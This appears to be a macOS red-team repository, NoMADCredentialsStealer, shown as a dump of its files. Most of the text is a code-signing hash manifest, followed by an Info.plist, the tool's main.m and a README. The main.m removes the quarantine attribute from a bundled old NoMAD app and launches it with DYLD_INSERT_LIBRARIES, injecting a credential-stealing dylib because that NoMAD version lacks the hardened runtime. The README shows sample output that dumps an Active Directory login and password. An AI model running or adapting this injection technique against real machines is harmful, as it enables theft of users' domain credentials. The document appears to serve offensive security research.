Frameworks/libswiftDispatch.dylib 501 | 502 | cdhash 503 | 504 | bS6US/0lZjafIFqHuzl86TqMggc= 505 | 506 | requirement 507 | anchor apple generic and identifier "com.apple.dt.runtime.swiftDispatch" and (certificate leaf[field.1.2.840.113635.100.6.1.9] /* exists */ or certificate 1[field.1.2.840.113635.100.6.2.6] /* exists */ and certificate leaf[field.1.2.840.113635.100.6.1.13] /* exists */ and certificate leaf[subject.OU] = AAPZK3CB24) 508 | 509 | Frameworks/libswiftFoundation.dylib 510 | 511 | cdhash 512 | 513 | /rrWzWU6ykOjxanJEMdYxMn8Dac= 514 | 515 | requirement 516 | anchor apple generic and identifier "com.apple.dt.runtime.swiftFoundation" and (certificate leaf[field.1.2.840.113635.100.6.1.9] /* exists */ or certificate 1[field.1.2.840.113635.100.6.2.6] /* exists */ and certificate leaf[field.1.2.840.113635.100.6.1.13] /* exists */ and certificate leaf[subject.OU] = AAPZK3CB24) 517 | 518 | Frameworks/libswiftIOKit.dylib 519 | 520 | cdhash 521 | 522 | pjn3uMwh5TUzhdikVvXx28MlODo= 523 | 524 | requirement 525 | anchor apple generic and identifier "com.apple.dt.runtime.swiftIOKit" and (certificate leaf[field.1.2.840.113635.100.6.1.9] /* exists */ or certificate 1[field.1.2.840.113635.100.6.2.6] /* exists */ and certificate leaf[field.1.2.840.113635.100.6.1.13] /* exists */ and certificate leaf[subject.OU] = AAPZK3CB24) 526 | 527 | Frameworks/libswiftObjectiveC.dylib 528 | 529 | cdhash 530 | 531 | yn5+OB9NwzKvqGmosrQ8S8aQHNw= 532 | 533 | requirement 534 | anchor apple generic and identifier "com.apple.dt.runtime.swiftObjectiveC" and (certificate leaf[field.1.2.840.113635.100.6.1.9] /* exists */ or certificate 1[field.1.2.840.113635.100.6.2.6] /* exists */ and certificate leaf[field.1.2.840.113635.100.6.1.13] /* exists */ and certificate leaf[subject.OU] = AAPZK3CB24) 535 | 536 | Frameworks/libswiftQuartzCore.dylib 537 | 538 | cdhash 539 | 540 | kgSyPIwwRUtzCXdAmjPfuzCTqDw= 541 | 542 | requirement 543 | anchor apple generic and identifier "com.apple.dt.runtime.swiftQuartzCore" and (certificate leaf[field.1.2.840.113635.100.6.1.9] /* exists */ or certificate 1[field.1.2.840.113635.100.6.2.6] /* exists */ and certificate leaf[field.1.2.840.113635.100.6.1.13] /* exists */ and certificate leaf[subject.OU] = AAPZK3CB24) 544 | 545 | Frameworks/libswiftXPC.dylib 546 | 547 | cdhash 548 | 549 | kXTRg3R5PqRKeTEj+7T/WCJ/C3U= 550 | 551 | requirement 552 | anchor apple generic and identifier "com.apple.dt.runtime.swiftXPC" and (certificate leaf[field.1.2.840.113635.100.6.1.9] /* exists */ or certificate 1[field.1.2.840.113635.100.6.2.6] /* exists */ and certificate leaf[field.1.2.840.113635.100.6.1.13] /* exists */ and certificate leaf[subject.OU] = AAPZK3CB24) 553 | 554 | Resources/AppIcon.icns 555 | 556 | hash 557 | 558 | 3qKgUiotU3mECEqlr+upr0iOqmc= 559 | 560 | hash2 561 | 562 | hNu65q/U7uaWsrKgZsS6RAMyghA9zn2SwIKeAF2JB+E= 563 | 564 | 565 | Resources/Assets.car 566 | 567 | hash 568 | 569 | Fd9Mr5te6qPXZmKTuXVQERiLN0c= 570 | 571 | hash2 572 | 573 | KfWmj7OrGLjyrh5ksbxQHSiGCkKO+jmLBg2iCZMDG88= 574 | 575 | 576 | Resources/Base.lproj/InfoPlist.strings 577 | 578 | hash 579 | 580 | mKVE+ketAI5F5Y+F/V90kBFMUTI= 581 | 582 | hash2 583 | 584 | zauf/eY3yrwy/9FJj3dDLcsPJibjjMK4i4svg89Cpmw= 585 | 586 | 587 | Resources/Base.lproj/Languages.plist 588 | 589 | hash 590 | 591 | L+6mlkpLOpIaiR1xEbzlaGANrJ8= 592 | 593 | hash2 594 | 595 | 9/d/KmDK8Un5QvNxjvcSti9RWGgACkryMweHPIku9/4= 596 | 597 | 598 | Resources/Base.lproj/LoginWindow.nib 599 | 600 | hash 601 | 602 | LoWWidAj9o5HV/qw97zu/RfgAcM= 603 | 604 | hash2 605 | 606 | diE8UfgG7cLHzMj3IF9RmVtPggVTWWncMgcBdoSB6DU= 607 | 608 | 609 | Resources/Base.lproj/MainMenu.nib 610 | 611 | hash 612 | 613 | 39Ef2xduYy5q1gi70/wIn5GavfA= 614 | 615 | hash2 616 | 617 | 5tC6AtEWq1UvjXiRyXeAl7KntNLnXOkUY9GWe64JD2Q= 618 | 619 | 620 | Resources/Base.lproj/PasswordChangeWindow.nib 621 | 622 | hash 623 | 624 | /AYDOBI5Ixrhh4KixCvT5JKrEC0= 625 | 626 | hash2 627 | 628 | Jw64V5k2N5S8x9n3FY/uofcVRohhSMYQyKfvoT6foOE= 629 | 630 | 631 | Resources/Base.lproj/PreferencesWindow.nib 632 | 633 | hash 634 | 635 | 6BftE5R23/iKi1bRi97l8wRWWUg= 636 | 637 | hash2 638 | 639 | RDEGhTm/LYCgf28GFZtfqxOZ4p6+PT3I+rIrZ8RhXQc= 640 | 641 | 642 | Resources/DefaultPreferences.plist 643 | 644 | hash 645 | 646 | WfDSAIp8OrRM6UEpMvwZE1n1ZtU= 647 | 648 | hash2 649 | 650 | nTOlx1qPvVZ9vvf4WhC6aUlKoYUhEytqTyLDwWilFWk= 651 | 652 | 653 | Resources/KeychainMinder.nib 654 | 655 | hash 656 | 657 | HPq9vMGc8Iy6LdpQ8AKle52tDgg= 658 | 659 | hash2 660 | 661 | owqQYl5NJPptm0N+b3nAc57ILRWr0kp/heo4T6JVyhA= 662 | 663 | 664 | Resources/da.lproj/InfoPlist.strings 665 | 666 | hash 667 | 668 | rPz5wqMvaHQk+99rx+SDsZUnH70= 669 | 670 | hash2 671 | 672 | 3kedRKBZmjDIRBKGKo46Hvh8vbbgXgrhITJvMyzERWA= 673 | 674 | optional 675 | 676 | 677 | Resources/da.lproj/Languages.plist 678 | 679 | hash 680 | 681 | AiVDSll243Da5kJBILOFFtXHzhY= 682 | 683 | hash2 684 | 685 | 8ojnv3zho7RD2zO/PrmMjf1d2c8ySiA0ckZJtxrG8Ng= 686 | 687 | optional 688 | 689 | 690 | Resources/da.lproj/LoginWindow.strings 691 | 692 | hash 693 | 694 | G6FHMZOXrYv0bay+GffPo761AJA= 695 | 696 | hash2 697 | 698 | e7EdknLZFOaxF/SPaHQ9ihdTCqnEc18otj+SS72hsFg= 699 | 700 | optional 701 | 702 | 703 | Resources/da.lproj/MainMenu.strings 704 | 705 | hash 706 | 707 | Db+83FTkcDZIUOANynFG3cMZH38= 708 | 709 | hash2 710 | 711 | rugn0pgtRG9I6bZ/T7MiI0P/ckastfCXnKovhjbWXLE= 712 | 713 | optional 714 | 715 | 716 | Resources/da.lproj/PasswordChangeWindow.strings 717 | 718 | hash 719 | 720 | vF1VNbRQVF+DSD7UGVcyfe+zvXk= 721 | 722 | hash2 723 | 724 | +6H+ea4AfTbSKDzItU3PWePmF5EGvQah5Ou8riQaTj0= 725 | 726 | optional 727 | 728 | 729 | Resources/da.lproj/PreferencesWindow.strings 730 | 731 | hash 732 | 733 | z24cuQ4+eh+aElNHXEoOQKTPdZs= 734 | 735 | hash2 736 | 737 | Kc209DG1xdoCAcU6eY6QX2HB+J7Ur0ZXJzHKfl+PBn0= 738 | 739 | optional 740 | 741 | 742 | Resources/de.lproj/InfoPlist.strings 743 | 744 | hash 745 | 746 | U/Ni/ZSGC10tFc+k3LB1OgfbBw0= 747 | 748 | hash2 749 | 750 | xsUm3gYADAI3YvApYdEFUMHKMN+94j7hvR4GC/SxkQ8= 751 | 752 | optional 753 | 754 | 755 | Resources/de.lproj/Languages.plist 756 | 757 | hash 758 | 759 | Pj7HpZOhHME63DZPumc0cIE1dmU= 760 | 761 | hash2 762 | 763 | OqW7sHw1M2DhimiYpClgbXTn1mYtb7Z27R+MYSWuxqk= 764 | 765 | optional 766 | 767 | 768 | Resources/de.lproj/LoginWindow.strings 769 | 770 | hash 771 | 772 | 4njL1UIXFYOht4u7dbz0q2UqXcw= 773 | 774 | hash2 775 | 776 | 42mqK1tTai+85EsrUhLDA3vrE7D5ONr8QumyfbYqkVU= 777 | 778 | optional 779 | 780 | 781 | Resources/de.lproj/MainMenu.strings 782 | 783 | hash 784 | 785 | UW9ka4txuq6sud9MEx+dKf399JY= 786 | 787 | hash2 788 | 789 | Atsn8YrFfq+yzu82PpxUvIRKePfhMmBUsJyeeTINBJ8= 790 | 791 | optional 792 | 793 | 794 | Resources/de.lproj/PasswordChangeWindow.strings 795 | 796 | hash 797 | 798 | NU3FdxPBonJNkNwug+e4fLVwc9M= 799 | 800 | hash2 801 | 802 | Q6peY5TQqVVpaEzdAvGoHg2XfvPhuDJy6RK2AHwkHr0= 803 | 804 | optional 805 | 806 | 807 | Resources/de.lproj/PreferencesWindow.strings 808 | 809 | hash 810 | 811 | OfX4/98y3gKkOYiANZ1pJqmo2jA= 812 | 813 | hash2 814 | 815 | NG83mYEDosaOR2+V/tbligIT1EARKqJyNgGGrjyTdU8= 816 | 817 | optional 818 | 819 | 820 | Resources/en.lproj/Languages.plist 821 | 822 | hash 823 | 824 | L+6mlkpLOpIaiR1xEbzlaGANrJ8= 825 | 826 | hash2 827 | 828 | 9/d/KmDK8Un5QvNxjvcSti9RWGgACkryMweHPIku9/4= 829 | 830 | optional 831 | 832 | 833 | Resources/es.lproj/InfoPlist.strings 834 | 835 | hash 836 | 837 | 0HTGS/scw3VMk65iLw7h92yY0r4= 838 | 839 | hash2 840 | 841 | s4+gwy2ckNElixFtpFoJEgDe4aZMFGcpSm6sY8PnWjo= 842 | 843 | optional 844 | 845 | 846 | Resources/es.lproj/Languages.plist 847 | 848 | hash 849 | 850 | /sEo0hPO8/o1A1SB9F1hPXGGgec= 851 | 852 | hash2 853 | 854 | ZWHoVsWv4Jd7qD+3sIqlnPV/PdGFBgp6ucHnsN5GErE= 855 | 856 | optional 857 | 858 | 859 | Resources/es.lproj/LoginWindow.strings 860 | 861 | hash 862 | 863 | YAiZnJfqXI7YmDsOvjz5k4HxJ4s= 864 | 865 | hash2 866 | 867 | X1RY//jA/fWHTT0vx9kRquyYNv9Nt3g7Xo627RWQhg0= 868 | 869 | optional 870 | 871 | 872 | Resources/es.lproj/MainMenu.strings 873 | 874 | hash 875 | 876 | UrRWCYrQm7Rp6+/djlA1fQE8Qy4= 877 | 878 | hash2 879 | 880 | b4MOMYdFTqGqvkx++I3tP+VZGNVrFFgt5O7Jx7BKSZo= 881 | 882 | optional 883 | 884 | 885 | Resources/es.lproj/PasswordChangeWindow.strings 886 | 887 | hash 888 | 889 | j0IwdnnAqiAB0VMCZDecBnO19qU= 890 | 891 | hash2 892 | 893 | i6yq6niR6LW2xMbR1sS93xgyjde0VFNcRggmmHbqOp8= 894 | 895 | optional 896 | 897 | 898 | Resources/es.lproj/PreferencesWindow.strings 899 | 900 | hash 901 | 902 | PJcQaTBl1rWjXpbOygQBRGZZ8K4= 903 | 904 | hash2 905 | 906 | 5IgJvNRtm7dHm3UAiUaE56rnG5FkD0c+nmn7MaJeQCI= 907 | 908 | optional 909 | 910 | 911 | Resources/fr.lproj/InfoPlist.strings 912 | 913 | hash 914 | 915 | zDacW0XNNDDuouI1T13tlG/MvFk= 916 | 917 | hash2 918 | 919 | 6QOa4VAVDyu5uH1M/7RocH6dGu9xALJ0vYWAR8yduCo= 920 | 921 | optional 922 | 923 | 924 | Resources/fr.lproj/Languages.plist 925 | 926 | hash 927 | 928 | 6w+RQYZ/E9nNa73Pgd5zB6/PUUc= 929 | 930 | hash2 931 | 932 | k020n1U5E/cAY9OhRGljrCkmwF6q9HALRMEvbnxSnOk= 933 | 934 | optional 935 | 936 | 937 | Resources/fr.lproj/LoginWindow.strings 938 | 939 | hash 940 | 941 | jRzcZhZVxmY9uRXvg4MeEpzEZ/E= 942 | 943 | hash2 944 | 945 | fSm6pOEjI5yZKYwpQdo5N3Wc/15KebV39Ia//NrqtEM= 946 | 947 | optional 948 | 949 | 950 | Resources/fr.lproj/MainMenu.strings 951 | 952 | hash 953 | 954 | oS/VbVbR9UM/Jt1+UQInwILINXo= 955 | 956 | hash2 957 | 958 | x8/UxUvGC54Lxtw0hOnddW4TA2OMpGJoAXILmuVyr8g= 959 | 960 | optional 961 | 962 | 963 | Resources/fr.lproj/PasswordChangeWindow.strings 964 | 965 | hash 966 | 967 | XzH+48CRZSKHUnQEXNv+x61R2tc= 968 | 969 | hash2 970 | 971 | 2B7vTCaBcosOR6oLW7AUjknoluq1U64umjoQHxF2hvc= 972 | 973 | optional 974 | 975 | 976 | Resources/fr.lproj/PreferencesWindow.strings 977 | 978 | hash 979 | 980 | oO1fqnR8rsDY1Jo1DS9VNzeIsGE= 981 | 982 | hash2 983 | 984 | i9ksBUaTO3V6YCdvPvy33nUQVXtWpXbq6ETKO/g99pc= 985 | 986 | optional 987 | 988 | 989 | Resources/nl.lproj/InfoPlist.strings 990 | 991 | hash 992 | 993 | gY2ETohrXBM01QEKLq0h0Qzf0kA= 994 | 995 | hash2 996 | 997 | EA6OGk+B91tu9MNIDqAM3IH3WL7BTznZPIoTSzt0e7A= 998 | 999 | optional 1000 | 1001 | 1002 | Resources/nl.lproj/Languages.plist 1003 | 1004 | hash 1005 | 1006 | NWvIcFog4gxV1VPatTygDdaZNjA= 1007 | 1008 | hash2 1009 | 1010 | respxWqeXr9EgkleUIcXNmb5qsm7G5g8mQZxmbG0I3Q= 1011 | 1012 | optional 1013 | 1014 | 1015 | Resources/nl.lproj/Localizable.strings 1016 | 1017 | hash 1018 | 1019 | wbTYzu5izYRXkgPhA+ApuCRp2QM= 1020 | 1021 | hash2 1022 | 1023 | 5KoL2Lb0fdBGXr+B8SUcQ1eG+TpiF0PUVYs7uTRafyU= 1024 | 1025 | optional 1026 | 1027 | 1028 | Resources/nl.lproj/LoginWindow.strings 1029 | 1030 | hash 1031 | 1032 | /xsTvNZvsJob9tZ+/8GbHiHlewY= 1033 | 1034 | hash2 1035 | 1036 | ds6/pjsw8vLNE/LGv9x8/z6mfF94cVRYF7FzvHFhpR0= 1037 | 1038 | optional 1039 | 1040 | 1041 | Resources/nl.lproj/MainMenu.strings 1042 | 1043 | hash 1044 | 1045 | wJnKOXLXVNmACtOgyuUVRkXyTEI= 1046 | 1047 | hash2 1048 | 1049 | ajbWfc8OcOHAV7xViYNf3jP2NgfYkJ/6rhyN/7yFyl4= 1050 | 1051 | optional 1052 | 1053 | 1054 | Resources/nl.lproj/PasswordChangeWindow.strings 1055 | 1056 | hash 1057 | 1058 | A7YsxrhLFyJqVobx+J9U940Z5wk= 1059 | 1060 | hash2 1061 | 1062 | 9cJM9RzPYrisPeXrQ5lsmiNRbH7L/0ezjfT/5NBrcxo= 1063 | 1064 | optional 1065 | 1066 | 1067 | Resources/nl.lproj/PreferencesWindow.strings 1068 | 1069 | hash 1070 | 1071 | 9ZozFwBC4ddaAQZPsYjaoDqvQ3w= 1072 | 1073 | hash2 1074 | 1075 | vJawoIrvE7orOvKFS3nQPFFaTDS2gf4gR7IjF4Vme5o= 1076 | 1077 | optional 1078 | 1079 | 1080 | Resources/pl.lproj/InfoPlist.strings 1081 | 1082 | hash 1083 | 1084 | IlTV8aNuaGDAdwaPaha5FMnwK/E= 1085 | 1086 | hash2 1087 | 1088 | /p5m1c6OoG9htCX0jCyyqvsEjxAh4tcgqgwV9zIHoeY= 1089 | 1090 | optional 1091 | 1092 | 1093 | Resources/pl.lproj/Languages.plist 1094 | 1095 | hash 1096 | 1097 | 93A8mtFfe0UYI/OmQ+BVGybDyR8= 1098 | 1099 | hash2 1100 | 1101 | b6s/r6IfbiTNrU4gM1hdJBhtYp2LKYgUf87wrdzxB/M= 1102 | 1103 | optional 1104 | 1105 | 1106 | Resources/pl.lproj/LoginWindow.strings 1107 | 1108 | hash 1109 | 1110 | 4F7nlU/W2PMUIi1XClImrVAOs/M= 1111 | 1112 | hash2 1113 | 1114 | WF9rGRwUxqPYt0BqgyG2HLIFFxByRpm9+CVM/ODKdR8= 1115 | 1116 | optional 1117 | 1118 | 1119 | Resources/pl.lproj/MainMenu.strings 1120 | 1121 | hash 1122 | 1123 | PGlKt7v0T3Yc5XTxfCDjqutsQ/4= 1124 | 1125 | hash2 1126 | 1127 | 37eE+kYuaMFWkhYxUjWk7JkobFuYHKLsnue2hIRcodY= 1128 | 1129 | optional 1130 | 1131 | 1132 | Resources/pl.lproj/PasswordChangeWindow.strings 1133 | 1134 | hash 1135 | 1136 | 5dxbaKOcznNBn0DL+5G9IfzLiJ8= 1137 | 1138 | hash2 1139 | 1140 | bAZlvKqS8cgIN4y3oLrFxTOGMqRVbQaSIzUYCrCHLvY= 1141 | 1142 | optional 1143 | 1144 | 1145 | Resources/pl.lproj/PreferencesWindow.strings 1146 | 1147 | hash 1148 | 1149 | 6pI9ivvI+/mIRC2QeFifRXkuNms= 1150 | 1151 | hash2 1152 | 1153 | CPCePnNTSU+97dLq+35YOsQ5qwOnVfbmKvezpJZV59Y= 1154 | 1155 | optional 1156 | 1157 | 1158 | Resources/sv.lproj/InfoPlist.strings 1159 | 1160 | hash 1161 | 1162 | /n2jrASvfN5Iz/blQhHEWxebIso= 1163 | 1164 | hash2 1165 | 1166 | qrCnhG3pp0+ncV91wuHg4rJdjDVMA18Jvxr6iC5CPcY= 1167 | 1168 | optional 1169 | 1170 | 1171 | Resources/sv.lproj/Languages.plist 1172 | 1173 | hash 1174 | 1175 | hwo17KVPrYNXWGDm57rtGyFIL04= 1176 | 1177 | hash2 1178 | 1179 | CVEeuktQhskpByRzT7ZKGoydTIR5jtGNVUEpPvwB1vU= 1180 | 1181 | optional 1182 | 1183 | 1184 | Resources/sv.lproj/LoginWindow.strings 1185 | 1186 | hash 1187 | 1188 | mx+hmWCBB3hyoNWcjWbxfPmf9GA= 1189 | 1190 | hash2 1191 | 1192 | XTe7YjlU7bI/mbmk1aCZS7V9ouKQzbNTK57E1Qrkavo= 1193 | 1194 | optional 1195 | 1196 | 1197 | Resources/sv.lproj/MainMenu.strings 1198 | 1199 | hash 1200 | 1201 | T667phcrgNyPKDk+A/VyjT0qI04= 1202 | 1203 | hash2 1204 | 1205 | 2kx3eKWMQ4au0WA5EZiZpwtBQfv3ApcP3snYC/HhX2k= 1206 | 1207 | optional 1208 | 1209 | 1210 | Resources/sv.lproj/PasswordChangeWindow.strings 1211 | 1212 | hash 1213 | 1214 | YfZi+Oc353FytOdNn+cER+U3II4= 1215 | 1216 | hash2 1217 | 1218 | CeV/FidTc6EPsw/p/Qhk3kkHiNSCbgErBXFIlS1XHqc= 1219 | 1220 | optional 1221 | 1222 | 1223 | Resources/sv.lproj/PreferencesWindow.strings 1224 | 1225 | hash 1226 | 1227 | fcs5Ae/lPHa1FIXQnWYf8i/4hmY= 1228 | 1229 | hash2 1230 | 1231 | JBX0IaCNWHDeydbJsE8ne+zBff+TJqh9t0zKUpjACn4= 1232 | 1233 | optional 1234 | 1235 | 1236 | 1237 | rules 1238 | 1239 | ^Resources/ 1240 | 1241 | ^Resources/.*\.lproj/ 1242 | 1243 | optional 1244 | 1245 | weight 1246 | 1000 1247 | 1248 | ^Resources/.*\.lproj/locversion.plist$ 1249 | 1250 | omit 1251 | 1252 | weight 1253 | 1100 1254 | 1255 | ^Resources/Base\.lproj/ 1256 | 1257 | weight 1258 | 1010 1259 | 1260 | ^version.plist$ 1261 | 1262 | 1263 | rules2 1264 | 1265 | .*\.dSYM($|/) 1266 | 1267 | weight 1268 | 11 1269 | 1270 | ^(.*/)?\.DS_Store$ 1271 | 1272 | omit 1273 | 1274 | weight 1275 | 2000 1276 | 1277 | ^(Frameworks|SharedFrameworks|PlugIns|Plug-ins|XPCServices|Helpers|MacOS|Library/(Automator|Spotlight|LoginItems))/ 1278 | 1279 | nested 1280 | 1281 | weight 1282 | 10 1283 | 1284 | ^.* 1285 | 1286 | ^Info\.plist$ 1287 | 1288 | omit 1289 | 1290 | weight 1291 | 20 1292 | 1293 | ^PkgInfo$ 1294 | 1295 | omit 1296 | 1297 | weight 1298 | 20 1299 | 1300 | ^Resources/ 1301 | 1302 | weight 1303 | 20 1304 | 1305 | ^Resources/.*\.lproj/ 1306 | 1307 | optional 1308 | 1309 | weight 1310 | 1000 1311 | 1312 | ^Resources/.*\.lproj/locversion.plist$ 1313 | 1314 | omit 1315 | 1316 | weight 1317 | 1100 1318 | 1319 | ^Resources/Base\.lproj/ 1320 | 1321 | weight 1322 | 1010 1323 | 1324 | ^[^/]+$ 1325 | 1326 | nested 1327 | 1328 | weight 1329 | 10 1330 | 1331 | ^embedded\.provisionprofile$ 1332 | 1333 | weight 1334 | 20 1335 | 1336 | ^version\.plist$ 1337 | 1338 | weight 1339 | 20 1340 | 1341 | 1342 | 1343 | 1344 | -------------------------------------------------------------------------------- /NoMADCredentialsStealer/NoMADCredentialsStealer/Info.plist: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | CFBundleDevelopmentRegion 6 | $(DEVELOPMENT_LANGUAGE) 7 | CFBundleExecutable 8 | $(EXECUTABLE_NAME) 9 | CFBundleIconFile 10 | 11 | CFBundleIdentifier 12 | $(PRODUCT_BUNDLE_IDENTIFIER) 13 | CFBundleInfoDictionaryVersion 14 | 6.0 15 | CFBundleName 16 | $(PRODUCT_NAME) 17 | CFBundlePackageType 18 | $(PRODUCT_BUNDLE_PACKAGE_TYPE) 19 | CFBundleShortVersionString 20 | 1.0 21 | CFBundleVersion 22 | 1 23 | LSMinimumSystemVersion 24 | $(MACOSX_DEPLOYMENT_TARGET) 25 | NSHumanReadableCopyright 26 | Copyright © 2022 Wojciech Reguła. All rights reserved. 27 | NSMainNibFile 28 | MainMenu 29 | NSPrincipalClass 30 | NSApplication 31 | NSSupportsAutomaticTermination 32 | 33 | NSSupportsSuddenTermination 34 | 35 | 36 | 37 | -------------------------------------------------------------------------------- /NoMADCredentialsStealer/NoMADCredentialsStealer/NoMADCredentialsStealer.entitlements: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /NoMADCredentialsStealer/NoMADCredentialsStealer/main.m: -------------------------------------------------------------------------------- 1 | #import 2 | #include 3 | 4 | int main(int argc, const char * argv[]) { 5 | 6 | NSString *NoMADPath = [[NSBundle mainBundle] pathForResource:@"NoMAD" ofType:@"app"]; 7 | NSString *NoMADExecutablePath = [NoMADPath stringByAppendingString:@"/Contents/MacOS/NoMAD"]; 8 | NSString *CredentialsStealerDylibPath = [[NSBundle mainBundle] pathForResource:@"libCredentialsStealer" ofType:@"dylib"]; 9 | 10 | // make sure that no quarantine is applied 11 | removexattr([NoMADPath cStringUsingEncoding:NSUTF8StringEncoding], "com.apple.quarantine", 0); 12 | 13 | NSTask *task = [NSTask new]; 14 | task.launchPath = NoMADExecutablePath; 15 | // DYLD_INSERT_LIBRARIES will inject the attacker's controlled library because the old NoMAD version doesn't have the hardened runtime flag set 16 | task.environment = @{@"DYLD_INSERT_LIBRARIES":CredentialsStealerDylibPath}; 17 | [task launch]; 18 | 19 | 20 | return 0; 21 | } 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | ### NoMADCredentialsStealer 2 | https://wojciechregula.blog/post/macos-red-teaming-get-ad-credentials-from-nomad/ 3 | 4 | ### Usage 5 | 6 | ```sh 7 | $ ./NoMADCredentialsStealer.app/Contents/MacOS/NoMADCredentialsStealer 8 | $ 9 | +-------------------------------+ 10 | + NoMAD Credentials Stealer + 11 | + by Wojciech Regula (_r3ggi) + 12 | +-------------------------------+ 13 | +> Domain -> wojciechregula.blog 14 | +> Domain controller -> controller.wojciechregula.blog 15 | +> Kerberos realm -> WOJCIECHREGULA.BLOG 16 | +> AD login -> wregula@WOJCIECHREGULA.BLOG 17 | +> AD password -> Passw0rd 18 | ``` 19 | --------------------------------------------------------------------------------